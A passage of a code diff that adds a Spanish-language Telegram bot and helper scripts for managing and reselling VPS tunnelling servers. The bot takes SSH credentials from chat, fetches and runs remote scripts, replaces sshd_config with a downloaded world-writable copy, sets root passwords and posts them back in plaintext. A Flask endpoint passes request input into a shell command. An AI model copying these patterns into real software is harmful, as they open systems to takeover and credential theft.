$3*100/$2 }')") + ram1=$(free -h | grep -i mem | awk {'print $2'}) + ram2=$(free -h | grep -i mem | awk {'print $4'}) + ram3=$(free -h | grep -i mem | awk {'print $3'}) + bot_retorno="==========Antes==========\n" + bot_retorno+="Ram: $ram1 || EN Uso: $_usor\n" + bot_retorno+="USADA: $ram3 || LIBRE: $ram2\n" + bot_retorno+="=========================\n" + msj_fun + + sleep 2 + + sudo sync + sudo sysctl -w vm.drop_caches=3 >/dev/null 2>&1 + + unset ram1 + unset ram2 + unset ram3 + unset _usor + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + ram1=$(free -h | grep -i mem | awk {'print $2'}) + ram2=$(free -h | grep -i mem | awk {'print $4'}) + ram3=$(free -h | grep -i mem | awk {'print $3'}) + bot_retorno="==========Ahora==========\n" + bot_retorno+="Ram: $ram1 || EN Uso: $_usor\n" + bot_retorno+="USADA: $ram3 || LIBRE: $ram2\n" + bot_retorno+="=========================\n" + msj_fun +} + +myid_src() { + bot_retorno="====================\n" + bot_retorno+="SU ID: ${chatuser}\n" + bot_retorno+="====================\n" + msj_fun +} + +deleteID_reply() { + delid=$(sed -n ${message_text[$id]}p ${CID}) + sed -i "${message_text[$id]}d" ${CID} + bot_retorno="$LINE\n" + bot_retorno+="ID eliminado con exito!\n" + bot_retorno+="ID: ${delid}\n" + bot_retorno+="$LINE\n" + msj_fun + #upfile_src +} + +addID_reply() { + [[ $(cat ${CID} | grep "${message_text[$id]}") = "" ]] && { + echo "/${message_text[$id]}" >>${CID} + bot_retorno="$LINE\n" + bot_retorno+="✅ *ID agregado * ✅\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(<${CID})\n" + bot_retorno+="$LINE\n" + bot_retorno+="New ID: ${message_text[$id]}\n" + bot_retorno+="$LINE" + + bot_retor="$LINE\n" + bot_retor+="El Administrador te autoriso\n" + bot_retor+="para usar el comando /keygen\n" + bot_retor+="digita el comando /menu\n" + bot_retor+="para actualizar el menu de comandos\n" + bot_retor+="$LINE\n" + msj_fun + msj_add ${message_text[$id]} + upfile_src + } || { + bot_retorno="====ERROR====\n" + bot_retorno+="Este ID ya existe\n" + bot_retorno+="$LINE\n" + msj_fun + } +} + +ssh_reply() { + ip=$(echo "${message_text[$id]}" | cut -d'|' -f1) + user=$(echo "${message_text[$id]}" | cut -d'|' -f2) + pass=$(echo "${message_text[$id]}" | cut -d'|' -f3) + TOKEN="${bot_token}" + ID="${chatuser}" + URL="https://api.telegram.org/bot$TOKEN/sendMessage" + if sshpass -p "$pass" ssh -o StrictHostKeyChecking=no $user@$ip true; then + curl -s -X POST $URL -d chat_id=$ID -d text="Conexión SSH exitosa a la VPS. ✅" &>/dev/null + + # Se instala script en la VPS + curl -s -X POST $URL -d chat_id=$ID -d text="⏱️ COMENZANDO A INSTALAR SCRIPT..." &>/dev/null + sshpass -p "$pass" ssh $user@$ip </dev/null +EOF + else + curl -s -X POST $URL -d chat_id=$ID -d text="No se pudo conectar a la VPS mediante SSH. ❌" &>/dev/null + fi +} + +pass_reply() { + # Dirección IP o nombre de host de la VPS remota + ip=$(echo "${message_text[$id]}" | cut -d'|' -f1) + # Nombre de usuario en la VPS remota + user=$(echo "${message_text[$id]}" | cut -d'|' -f2) + # Nueva contraseña que quieres establecer + pass=$(echo "${message_text[$id]}" | cut -d'|' -f3) + new_password=$(echo "${message_text[$id]}" | cut -d'|' -f4) + TOKEN="${bot_token}" + ID="${chatuser}" + URL="https://api.telegram.org/bot$TOKEN/sendMessage" + # Utilizar SSH para cambiar la contraseña en la VPS remota + if sshpass -p "$pass" ssh -o StrictHostKeyChecking=no $user@$ip true; then + curl -s -X POST $URL -d chat_id=$ID -d text="Conexión SSH exitosa a la VPS. ✅" &>/dev/null + if sshpass -p "$pass" ssh -o StrictHostKeyChecking=no $user@$ip "echo -e \"$new_password\n$new_password\" | passwd"; then + sleep 2 + curl -s -X POST $URL -d chat_id=$ID -d text="Cambiaste correctamente la contraseña ✅" &>/dev/null + sleep 1 + curl -s -X POST $URL -d chat_id=$ID -d text="New Password: ${new_password}" &>/dev/null + else + curl -s -X POST $URL -d chat_id=$ID -d text="Contraseña muy simple vuelve a intentarlo.. ❌" &>/dev/null + fi + else + curl -s -X POST $URL -d chat_id=$ID -d text="ERROR -> conectar VPS ❌" &>/dev/null + fi + +} + +descargar_apk() { + TOKEN="${bot_token}" + ID="${chatuser}" + URL="https://api.telegram.org/bot$TOKEN/sendMessage" + curl -s -X POST $URL -d chat_id=$ID -d text="Descargando APK Nikobhyn-Tools..✅" &>/dev/null + wget "https://github.com/nixonvidal/NIXON-MC/raw/master/Nikobhyn%20Tools.apk" -O Nikobhyn-Tools.apk + # Descargar el archivo + FILE_URL="Nikobhyn-Tools.apk" + FILE_NAME=$(basename "$FILE_URL") + curl -o "$FILE_NAME" "$FILE_URL" + + # Enviar el archivo + curl -F chat_id="$ID" -F document=@"$FILE_NAME" "https://api.telegram.org/bot$TOKEN/sendDocument" + + # Eliminar el archivo después de enviarlo (opcional) + rm "$FILE_NAME" +} + +herramientas() { + bot_retorno="-----[HERRAMIENTAS VIP NIXON-MC]------\n" + menu_tools +} +usercontrol() { + bot_retorno="-----[CONTROLADOR]------\n" + menu_user +} +pem_reply() { + key=$(echo "${message_text[$id]}" | cut -d'|' -f1) + longitud=10 + caracteres="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + + # Genera la cadena aleatoria y la imprime + cadena=$(head /dev/urandom | tr -dc "$caracteres" | head -c "$longitud") + #echo "Cadena aleatoria: $cadena_aleatoria" + echo "$key" >${DIRTOOLS}/key_${cadena}.pem + awk -i inplace '{gsub(/\\n/, "\n"); print}' ${DIRTOOLS}/key_${cadena}.pem + #echo key_$cadena.pem + chmod 400 ${DIRTOOLS}/key_${cadena}.pem + ######################## + TOKEN="${bot_token}" + ID="${chatuser}" + URL="https://api.telegram.org/bot$TOKEN/sendMessage" + curl -s -X POST $URL -d chat_id=$ID -d text="SU KEY ES: key_${cadena}.pem ✅" &>/dev/null + bot_retorno="/aws (Ya puedes cambiar a root)\n" +} +function es_ip_valida() { + local ip="$1" + local patron="^([0-9]{1,3}\.){3}[0-9]{1,3}$" + if [[ $ip =~ $patron ]]; then + return 0 # La IP es válida + else + return 1 # La IP no es válida + fi +} +aws_reply() { + ip=$(echo "${message_text[$id]}" | cut -d'|' -f1) + user=$(echo "${message_text[$id]}" | cut -d'|' -f2) + pem=$(echo "${message_text[$id]}" | cut -d'|' -f3) + pass=$(echo "${message_text[$id]}" | cut -d'|' -f4) + TOKEN="${bot_token}" + ID="${chatuser}" + URL="https://api.telegram.org/bot$TOKEN/sendMessage" + PRIVATE_KEY="${DIRTOOLS}/$pem" + if es_ip_valida "$ip"; then + curl -s -X POST $URL -d chat_id=$ID -d text="🛠️SI LOS DATOS NO SON CORRECTOS NO INICIARA LA CONFIGURACION🛠️" &>/dev/null + if ssh -o StrictHostKeyChecking=no -i "$PRIVATE_KEY" $user@$ip true; then + curl -s -X POST $URL -d chat_id=$ID -d text="Conexión SSH exitosa a la VPS. ✅" &>/dev/null + sleep 2 + curl -s -X POST $URL -d chat_id=$ID -d text="CONFIGURANDO VPS🛠️" &>/dev/null + ssh -i "$pem" $user@$ip "sudo wget -O /etc/ssh/sshd_config https://raw.githubusercontent.com/nixonvidal/NIXON-MC/master/sshd; sudo chmod 777 /etc/ssh/sshd_config;sudo chpasswd <<< "root:$pass";sudo service sshd restart" + curl -s -X POST $URL -d chat_id=$ID -d text="CONFIGURACION TERMINADA 🛠️✅" &>/dev/null + curl -s -X POST $URL -d chat_id=$ID -d text="IP: $ip " &>/dev/null + curl -s -X POST $URL -d chat_id=$ID -d text="USUARIO: root " &>/dev/null + curl -s -X POST $URL -d chat_id=$ID -d text="CONTRASEÑA: $pass" &>/dev/null + else + curl -s -X POST $URL -d chat_id=$ID -d text="ERROR -> conectar VPS ❌" &>/dev/null + fi & + else + curl -s -X POST $URL -d chat_id=$ID -d text="IP INVALIDO ❌" &>/dev/null + fi +} + +rell_reply() { + [[ $(cat ${USRdatabase2} | grep "${message_text[$id]}") = "" ]] && { + echo "${message_text[$id]}" >${USRdatabase2}/Mensaje_$chatuser.txt + bot_retorno="$LINE\n" + bot_retorno+="✅Creditos Cambiado ✅\n" + bot_retorno+="$LINE\n" + bot_retorno+="Nuevo Reseller: ${message_text[$id]}\nPARA REGRESAR /menu\n" + bot_retorno+="$LINE" + + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e "$bot_retorno")" \ + --parse_mode html + + return 0 + + } || { + bot_retorno="====ERROR====\n" + bot_retorno+="$LINE\n" + msj_fun + } +} + +catrell() { + local bot_retorno="$LINE\n" + bot_retorno+="INGRESE TUS CREDITOS\n" + bot_retorno+="$LINE\n" + msj_fun +} +ssh_mensaje() { + local bot_retorno="$LINE\n" + bot_retorno+="INGRESE -> IP|USUARIO|PASSWORD\n" + bot_retorno+="$LINE\n" + msj_fun +} +pass_mensaje() { + local bot_retorno="$LINE\n" + bot_retorno+="💜 Herramienta New\n" + bot_retorno+="🌍 INGRESE -> IP|USUARIO|PASSWORD|NEW-PASS\n" + bot_retorno+="$LINE\n" + msj_fun +} +pem_mensaje() { + local bot_retorno="$LINE\n" + bot_retorno+="🌍 PEGA TU KEY (PUBLICA/PRIVADA)\n" + bot_retorno+="$LINE\n" + msj_fun +} + +aws_mensaje() { + local bot_retorno="$LINE\n" + bot_retorno+="💜 Si no tienes una KEY.PEM puedes crear en /pem\n" + bot_retorno+="🌍 INGRESE -> IP|USUARIO|KEY.PEM|NEW-PASS\n" + bot_retorno+="$LINE\n" + msj_fun +} + +link_src() { + bot_retorno="$LINE\n" + bot_retorno+="SCRIPT VPS-MX 8.4\n" + bot_retorno+="$LINE\n" + bot_retorno+="wget https://www.dropbox.com/s/dyol8lr4okzj7kw/NIXON-MC; chmod 777 NIXON-MC; ./NIXON-MC\n" + bot_retorno+="$LINE\n" + msj_fun +} + +listID_src() { + lsid=$(cat -n ${CID}) + local bot_retorno="$LINE\n" + bot_retorno+="LISTA DE ID CON ACCESO AL BOT\n" + bot_retorno+="$LINE\n" + bot_retorno+="${lsid}\n" + bot_retorno+="$LINE\n" + msj_fun +} + +ayuda_id() { + bot_retorno="$LINE\n" + bot_retorno+="SU ID ES: ${chatuser}\n\n" + bot_retorno+="Para poder usar el bot deves enviarle tu ID al administrador Del Bot\n PARA QUE TENGAS ACCESO AL BOT\n" + bot_retorno+="$LINE\n" + msj_fun +} + +menu_src() { + bot_retorno="━━━━━━━━━━━━━━━━━━━━━━\n" + if [[ $(echo $permited | grep "${chatuser}") = "" ]]; then + if [[ $(cat ${CID} | grep "${chatuser}") = "" ]]; then + bot_retorno+="🔰  BIENVENIDO  AL GENERADOR DE KEY 🔰 \n" + bot_retorno+="🤖Hola: @${message_from_username[$id]} para tener acceso al bot debes contactarte con el adm\n" + bot_retorno+="👤USERNAME: ${message_from_first_name[$id]} SIN ACCESO✖️\n" + bot_retorno+="🚫ID [${chatuser}] NO REGISTRADO✖️\n" + bot_retorno+="👥USUARIO: ${message_from_first_name[$id]}\n" + bot_retorno+="GRUPO: @\n" + bot_retorno+="CANAL: @\n" + bot_retorno+="ADMIN: @\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="➜/ID (muestra su ID)\n" + bot_retorno+="➜/acceso (Pedir Autorizacion)\n" + bot_retorno+="➜/ayuda (modo de uso)\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + msj_fun + else + #creditos agregados + unset creditos + creditos="$(cat /etc/ADM-db/Creditos/Mensaje_$chatuser.txt)" + [[ ! $creditos ]] && credi="NIXON MC" || credi="$creditos" + #menú + bot_retorno+="✨ BIENVENIDO ✨\n" + bot_retorno+="📝NOTA: Hola @${message_from_username[$id]} Ya tenés acceso al bot dale click en el boton KEY-V8.4x Grasias Por preferírnos..\n" + bot_retorno+="👤USUARIO: ${message_from_first_name[$id]} CON ACCESO✅\n" + bot_retorno+="🆔TU ID: [${chatuser}] REGISTRADO✅\n" + bot_retorno+="👤USER: @${message_from_username[$id]}\n" + bot_retorno+="👑RESELLER: $credi\n" + bot_retorno+="Gen $PID_GEN | Keys Used [$k_used]\n" + bot_retorno+="KEY 𝑮𝑬𝑵𝑬𝑹𝑨𝑫𝑨: [ $(ls /etc/http-shell/ | grep name | wc -l) ]\n" + bot_retorno+="🔧SOPORTE: @Tudark_b\n" + bot_retorno+="🤖COMANDOS DEL BOT🤖\n" + bot_retorno+="/resell (add nuevo reseller)\n" + bot_retorno+="/instalador (link de instalacion)\n" + bot_retorno+="/gerar (Generar una key)\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + if grep -q "${chatuser}|1" "${CID}"; then + ShellBot.InlineKeyboardButton --button 'botao_user' --line 2 --text '🔑 KEYGEN ✅' --callback_data '/keygen' + # Agrega aquí el código para el mensaje 1 + elif grep -q "${chatuser}|0" "${CID}"; then + false + else + false + fi + menu_print + + fi + + else + unset PID_GEN + PID_GEN=$(ps x | grep -v grep | grep "http-server.sh") + [[ ! $PID_GEN ]] && PID_GEN='(APAGADA) ❌' || PID_GEN='(EN LINEA) ✅' + unset creditos + creditos="$(cat /etc/ADM-db/Creditos/Mensaje_$chatuser.txt)" + [[ ! $creditos ]] && credi="NIXON MC" || credi="$creditos" + unset usadas + usadas="$(cat /etc/http-instas)" + [[ ! $usadas ]] && k_used="0" || k_used="$usadas" + bot_retorno+="🔰 BIENVENIDO AL BOT 🔰\n" + bot_retorno+="▫️Panel de control | NixonMc 9.7▫️\n" + bot_retorno+="Gen $PID_GEN | Keys Used [$k_used]\n" + bot_retorno+="KEY 𝑮𝑬𝑵𝑬𝑹𝑨𝑫𝑨: [ $(ls /etc/http-shell/ | grep name | wc -l) ]\n" + bot_retorno+=" RESELLER: $credi\n" + bot_retorno+="$LINE\n" + bot_retorno+="/resell (add nuevo reseller)\n" + bot_retorno+="/infosys (info del sistema)\n" + bot_retorno+="/list (lista de ID permitidas)\n" + bot_retorno+="/instalador (link de instalacion)\n" + bot_retorno+="/gerar (Generar Una Key)\n" + bot_retorno+="/cache (Limpiar cache Ram)\n" + bot_retorno+="$LINE\n" + bot_retorno+="ADM: @${message_from_username[$id]}\n" + bot_retorno+="$LINE\n" + menu_print + fi +} +mensajecre() { + error_fun() { + local bot_retorno="$LINE\n" + bot_retorno+="USAR EL COMANDO DE ESTA MANERA\n" + bot_retorno+="$LINE\n" + bot_retorno+="Ejemplo: /resell VPSNIXON\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e "$bot_retorno")" \ + --parse_mode html + return 0 + } + + [[ -z $1 ]] && error_fun && return 0 + + echo "$1" >${USRdatabase2}/Mensaje_$chatuser.txt + bot_retorno="$LINE\n" + bot_retorno+="✅Creditos Cambiado ✅\n" + bot_retorno+="$LINE\n" + bot_retorno+="Nuevo Reseller: $1\nPARA REGRESAR /menu\n" + bot_retorno+="$LINE" + + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e "$bot_retorno")" \ + --parse_mode html + + return 0 +} + +autori() { + bot_retorno="$LINE\n" + # + bot_retorno+="Nombre: ${message_from_first_name[$id]}\n" + bot_retorno+="ID: ${chatuser}\n" + bot_retorno+="Usuario: @${message_from_username[$id]}\n" + bot_retorno+="$LINE\n" + bot_retorno+="AUTORIZACION ENVIADA📢 ESPERAR LA AUTORIZACION\n" + # + #bot_retorno+="PERO SI QUIERES APOYAR EL BOT? ADELANTE ERES LIBRE DE DECIDIR PAPUS XD\n" + + #bot_retorno+="TU ID AUN NO ESTA REGISTRADO\n(TIENES QUE HACER UNA DONACION DE 4.5USD ACCESO PARA UN AÑO)\nPARA MAS INFO VE CON @CAT\n" + bot_retorno+="$LINE\n" + msj_fun + bot_retor="$LINE\n" + bot_retor+="NOMBRE: ${message_from_first_name[$id]} PIDIÓ AUTORIZACION DEL BOT VPSMX\n" + bot_retor+="ID: ${chatuser}\n" + bot_retor+="Usuario: @${message_from_username[$id]} \n" + bot_retor+="mensajeID: ${message_message_id[$id]}\n" + bot_retor+="Copiar ID: @${message_from_id[$id]}\n" + # + bot_retor+="DATOS: ${message_date[$id]}\n" + #bot_retor+="TIPO: ${message_chat_type[$id]}\n" + bot_retor+="$LINE\n" + ShellBot.sendMessage --chat_id ${permited[$id]} \ + --text "$(echo -e "$bot_retor")" \ + --parse_mode html + return 0 +} + +#botao_donar='' + +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 1 --text '👤 CONTROL USER' --callback_data '/user' +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 2 --text '❌ POWER ✅' --callback_data '/power' +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 2 --text '🛠️ MENU' --callback_data '/menu' + +#ShellBot.InlineKeyboardButton --button 'botao_conf' --line 2 --text '👤 CONECTAR SSH' --callback_data '/ssh' + +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 3 --text '🔑 KEYGEN' --callback_data '/keygen' + +#ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '🌍New Pass' --callback_data '/pass' +#ShellBot.InlineKeyboardButton --button 'botao_conf' --line 3 --text '🌍New Pass' --callback_data '/pass' + +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 4 --text '⬇️DESCARGAR NIKOBHYN TOOLS⬇️' --callback_data '/descargar' +ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '⬇️DESCARGAR NIKOBHYN TOOLS⬇️' --callback_data '/descargar' + +ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '♻️AGREGAR RESELLER♻️' --callback_data '/rell' +#ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '👤 CONECTAR SSH' --callback_data '/ssh' + +ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '🛠️ TOOLS 🛠️' --callback_data '/tools' +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 3 --text '🛠️ TOOLS 🛠️' --callback_data '/tools' + +# BOTON DE CONECTAR SSH +# BOTON USER +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 1 --text '-> CAMBIAR PASSWORD ✅' --callback_data '/pass' +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 2 --text '-> CREAR USUARIO KEY | AWS ✅' --callback_data '/pem' +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 3 --text '-> CAMBIAR ROOT | AWS -> KEY ✅' --callback_data '/aws' +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 4 --text '-> CAMBIAR ROOT | AZURE -> PASS ❌' --callback_data '/azure' +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 5 --text '-> INSTALAR | SCRIPT -> NIXON-MX ✅' --callback_data '/ssh' +# BOTON DE ADMIN +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 1 --text '-> CAMBIAR PASSWORD ✅' --callback_data '/pass' +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 2 --text '-> CREAR USUARIO KEY | AWS ✅' --callback_data '/pem' +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 3 --text '-> CAMBIAR ROOT | AWS -> KEY ✅' --callback_data '/aws' +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 4 --text '-> CAMBIAR ROOT | AZURE -> PASS ❌' --callback_data '/azure' +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 5 --text '-> INSTALAR | SCRIPT -> NIXON-MX ✅' --callback_data '/ssh' + +# +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 1 --text '👤 AGREGAR ID' --callback_data '/add' +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 2 --text '🚮 ELIMINAR' --callback_data '/del' +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 3 --text '👥 LISTA USER' --callback_data '/list' +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 4 --text '🆔 ID' --callback_data '/ID' +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 5 --text '♻️AGREGAR RESELLER♻️' --callback_data '/rell' +# Ejecutando escucha del bot +while true; do + ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext) --timeout 30 + for id in $(ShellBot.ListUpdates); do + + chatuser="$(echo ${message_chat_id[$id]} | cut -d'-' -f2)" + [[ -z $chatuser ]] && chatuser="$(echo ${callback_query_from_id[$id]} | cut -d'-' -f2)" + echo $chatuser >&2 + #echo "user id $chatuser" + + comando=(${message_text[$id]}) + [[ -z $comando ]] && comando=(${callback_query_data[$id]}) + #echo "comando $comando" + + [[ ! -e "${CIDdir}/Admin-ID" ]] && echo "null" >${CIDdir}/Admin-ID + permited=$(cat ${CIDdir}/Admin-ID) + + if [[ $(echo $permited | grep "${chatuser}") = "" ]]; then + if [[ $(cat ${CID} | grep "${chatuser}") = "" ]]; then + case ${comando[0]} in + /[Ii]d | /[Ii]D) myid_src & ;; + /[Aa]cceso | [Aa]cceso) autori & ;; + /[Mm]enu | [Mm]enu | /[Ss]tart | [Ss]tart | [Cc]omensar | /[Cc]omensar) menu_src & ;; + /[Aa]yuda | [Aa]yuda | [Hh]elp | /[Hh]elp) ayuda_id & ;; + /* | *) invalido_fun & ;; + esac + else + if [[ ${message_reply_to_message_message_id[$id]} ]]; then + case ${message_reply_to_message_text[$id]} in + '/rell') rell_reply ;; + '/ssh') ssh_reply ;; + '/pass') pass_reply ;; + '/aws') aws_reply ;; + '/pem') pem_reply ;; + *) invalido_fun ;; + esac + + elif [[ ${message_text[$id]} || ${callback_query_data[$id]} ]]; then + case ${comando[0]} in + /[Mm]enu | /[Ss]tart | /[Cc]omensar) menu_src & ;; + /[Ii]d) myid_src & ;; + /[Ii]nstalador) link_src & ;; + /[Rr]esell | /[Rr]eseller) mensajecre "${comando[1]}" & ;; + /[Rr]ell | /[Ss]sh | /[Pp]ass | /[Aa]ws | /[Pp]em) reply & ;; + /[Dd]escargar) descargar_apk & ;; + /[Tt]ools) herramientas & ;; + /[Kk]eygen | /[Gg]erar) + if grep -q "${chatuser}|1" "${CID}"; then + gerar_key & + else + otra_accion & + fi + ;; + # /[Cc]ambiar) creditos & ;; + *) invalido_fun & ;; + esac + + fi + + fi + else + + if [[ ${message_reply_to_message_message_id[$id]} ]]; then + case ${message_reply_to_message_text[$id]} in + '/del') deleteID_reply ;; + '/add') addID_reply ;; + '/rell') rell_reply ;; + '/ssh') ssh_reply ;; + '/pass') pass_reply ;; + '/aws') aws_reply ;; + '/pem') pem_reply ;; + *) invalido_fun ;; + esac + + elif [[ ${message_document_file_id[$id]} ]]; then + download_file + + elif [[ ${message_text[$id]} || ${callback_query_data[$id]} ]]; then + + case ${comando[0]} in + /[Mm]enu | [Mm]enu | /[Ss]tart | [Ss]tart | [Cc]omensar | /[Cc]omensar) menu_src & ;; + /[Aa]yuda | [Aa]yuda | [Hh]elp | /[Hh]elp) ayuda_src & ;; + /[Ii]d | /[Ii]D) myid_src & ;; + /[Aa]dd | /[Dd]el | /[Rr]ell) reply & ;; + /[Ss]sh) reply & ;; + /[Pp]ass) reply & ;; + /[Aa]ws) reply & ;; + /[Pp]em) reply & ;; + /[Pp]ower) start_gen & ;; + /[Dd]escargar) descargar_apk & ;; + /[Uu]ser) usercontrol & ;; + /[Tt]ools) herramientas & ;; + /[Rr]esell | /[Rr]eseller) mensajecre "${comando[1]}" & ;; + /[Kk]eygen | /[Gg]erar | [Gg]erar | [Kk]eygen) gerar_key & ;; + # + # /[Cc]ambiar)creditos &;; + /[Ii]nfosys) infosys_src & ;; + /[Ll]ist) listID_src & ;; + /[Ii]nstalador) link_src & ;; + /[Cc]ache) cache_src & ;; + /* | *) invalido_fun & ;; + esac + + fi + + fi + done +done diff --git a/Recursos/usercodes/initcheck-sh/check.sh b/Recursos/usercodes/initcheck-sh/check.sh new file mode 100644 index 0000000..f4e430d --- /dev/null +++ b/Recursos/usercodes/initcheck-sh/check.sh @@ -0,0 +1,77 @@ +#!/bin/bash +user=$1 +type=$2 + +database="/etc/adm-lite/userDIR/" + +user_exist() { + [[ "$(grep -wc $user /etc/passwd)" != '0' ]] && { + echo $user + } || { + echo 'Not exist' + } +} + +cont_online() { + limit=$(cat $database/$user | grep "limite" | awk '{print $2}') + conssh="$(ps -u $user | grep sshd | wc -l)" + [[ -z $limit ]] && limit="1" + #[[ $conssh -gt $limit ]] && kill -9 $user + echo $conssh +} + +limiter_user() { + limit=$(cat $database/$user | grep "limite" | awk '{print $2}') + [[ -z $limit ]] && limit="1" + echo $limit +} + +check_data() { + datauser=$(chage -l $user | grep -i co | awk -F : '{print $2}') + dat="$(date -d"$datauser" '+%d/%m/%Y')" + echo $dat +} + +check_dias() { + datauser=$(chage -l $user | grep -i co | awk -F : '{print $2}') + dat="$(date -d"$datauser" '+%Y-%m-%d')" + data=$(echo -e "$((($(date -ud $dat +%s) - $(date -ud $(date +%Y-%m-%d) +%s)) / 86400))") + echo $data +} + +check_new_data() { + [[ "$(grep -wc $user /etc/passwd)" != '0' ]] && { + datauser=$(chage -l $user | grep -i co | awk -F : '{print $2}') + dat="$(date -d"$datauser" '+%Y%m%d')" + echo $dat + } || { + echo 'Not exist' + } +} + +datacheck_new() { + [[ "$(grep -wc $user /etc/passwd)" != '0' ]] && { + datauser=$(chage -l $user | grep -i co | awk -F : '{print $2}') + dat="$(date -d"$datauser" '+%d%m%Y')" + echo $dat + } || { + echo 'Not exist' + } +} + + +if [ $type -eq 1 ]; then + user_exist +elif [ $type -eq 2 ]; then + cont_online +elif [ $type -eq 3 ]; then + limiter_user +elif [ $type -eq 4 ]; then + check_data +elif [ $type -eq 5 ]; then + check_dias +elif [ $type -eq 6 ]; then + check_new_data +elif [ $type -eq 7 ]; then + datacheck_new +fi \ No newline at end of file diff --git a/Recursos/usercodes/initcheck-sh/chekuser.py b/Recursos/usercodes/initcheck-sh/chekuser.py new file mode 100644 index 0000000..6518e70 --- /dev/null +++ b/Recursos/usercodes/initcheck-sh/chekuser.py @@ -0,0 +1,50 @@ +from crypt import methods +import os +import sys +import typing as t +import json + +from datetime import datetime +from flask import Flask, jsonify, url_for, request, redirect + +LISTENING_PORT = int(sys.argv[1]) +FORMATO = sys.argv[2] +app = Flask(__name__) +app.config['JSONIFY_PRETTYPRINT_REGULAR'] = True +app.config['JSON_SORT_KEYS'] = False + +def get_user(username: str) -> t.Optional[str]: + if FORMATO == '1': + command = 'check %s 6' % username + result = os.popen(command).readlines() + final = result[0].strip() + return final + elif FORMATO == '2': + command = 'check %s 7' % username + result = os.popen(command).readlines() + final = result[0].strip() + return final + + +@app.route('/checkUser',methods = ['POST', 'GET']) +def check_user(): + if request.method == 'POST': + try: + req_data = request.get_json() + user = req_data.get("user") + x = get_user(user) + return x + except Exception as e: + return jsonify({'error': str(e)}) + else: + try: + return 'Cannot GET /checkUser' + except Exception as e: + return jsonify({'error': str(e)}) + + +if __name__ == '__main__': + app.run( + host='0.0.0.0', + port=int(sys.argv[1]) if len(sys.argv) > 1 else LISTENING_PORT, + ) \ No newline at end of file diff --git a/Recursos/usercodes/initcheck-sh/onlineapp.sh b/Recursos/usercodes/initcheck-sh/onlineapp.sh new file mode 100644 index 0000000..7d28f06 --- /dev/null +++ b/Recursos/usercodes/initcheck-sh/onlineapp.sh @@ -0,0 +1,18 @@ +#!/bin/bash +#kiritossh +fun_online() { +[[ ! -d /var/www/html/server ]] && mkdir /var/www/html/server + _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) + [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" + [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" + _onli=$(($_ons + $_onop + $_ondrp)) + _onlin=$(printf '%-5s' "$_onli") + CURRENT_ONLINES="$(echo -e "${_onlin}" | sed -e 's/[[:space:]]*$//')" + echo "{\"onlines\":\"$CURRENT_ONLINES\",\"limite\":\"2500\"}" > /var/www/html/server/online_app + echo $CURRENT_ONLINES > /var/www/html/server/online +} +#while true; do +# echo 'verificando...' + fun_online > /dev/null 2>&1 +# sleep 15s +#done diff --git a/Recursos/usercodes/initcheck.sh b/Recursos/usercodes/initcheck.sh new file mode 100644 index 0000000..8ec6035 --- /dev/null +++ b/Recursos/usercodes/initcheck.sh @@ -0,0 +1,343 @@ +#!/bin/bash +[[ -e /bin/ejecutar/msg source msg +source /etc/adm-lite/cabecalho +#FUNCION DE SELECCION +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m Opcion: " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} +chk_ip=${IP} + +mportas(){ + unset portas + portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND") + while read port; do + var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') + [[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" + done <<< "$portas_var" + i=1 + echo -e "$portas" +} + +start(){ +[[ -e /bin/ejecutar/checkuser.py ]] || wget -q -O /bin/ejecutar/checkuser.py 